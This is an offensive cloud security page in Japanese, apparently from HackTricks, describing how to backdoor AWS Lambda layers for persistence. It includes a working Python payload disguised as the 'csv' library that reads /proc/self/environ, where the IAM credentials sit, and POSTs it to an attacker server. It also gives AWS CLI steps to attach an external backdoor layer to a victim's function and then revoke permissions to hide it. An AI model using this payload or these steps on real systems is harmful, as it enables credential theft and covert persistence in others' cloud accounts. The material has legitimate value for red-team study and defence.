# AWS - Lambda Layers Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Layers

Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。

**関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。

**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。

コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。

### Python load path

Pythonがlambdaで使用するロードパスは次のとおりです:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**

> [!CAUTION]
> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。

したがって、要件は次のとおりです:

- **被害者のコードによって**読み込まれる**ライブラリを確認する**
- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。

### プリロードされたライブラリ

> [!WARNING]
> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
> この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。

このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます:
```python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
そして、これは**リスト**です（`os`や`json`のようなライブラリがすでに存在することを確認してください）
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Lambdaレイヤーのバックドア

この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。

そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\
その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\
このファイルは以下を行う必要があります:

- 私たちのペイロードを実行する
- 元のcsvライブラリを読み込む

私たちは両方を次のように行うことができます:
```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```
次に、このコードをパス **`python/lib/python3.9/site-packages/__init__.py`** に含むzipを作成し、lambdaレイヤーとして追加します。

このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。

統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし**他の技術**も以下のように統合することができます：

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### 外部レイヤー

**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\
また、**lambdaが持てるレイヤーの最大数は5です**。

したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます：

- ユーザーの既存のレイヤーにバックドアを仕掛ける（外部のものは何もない）
- **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でrev shellを取得することを除いて）
- 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}
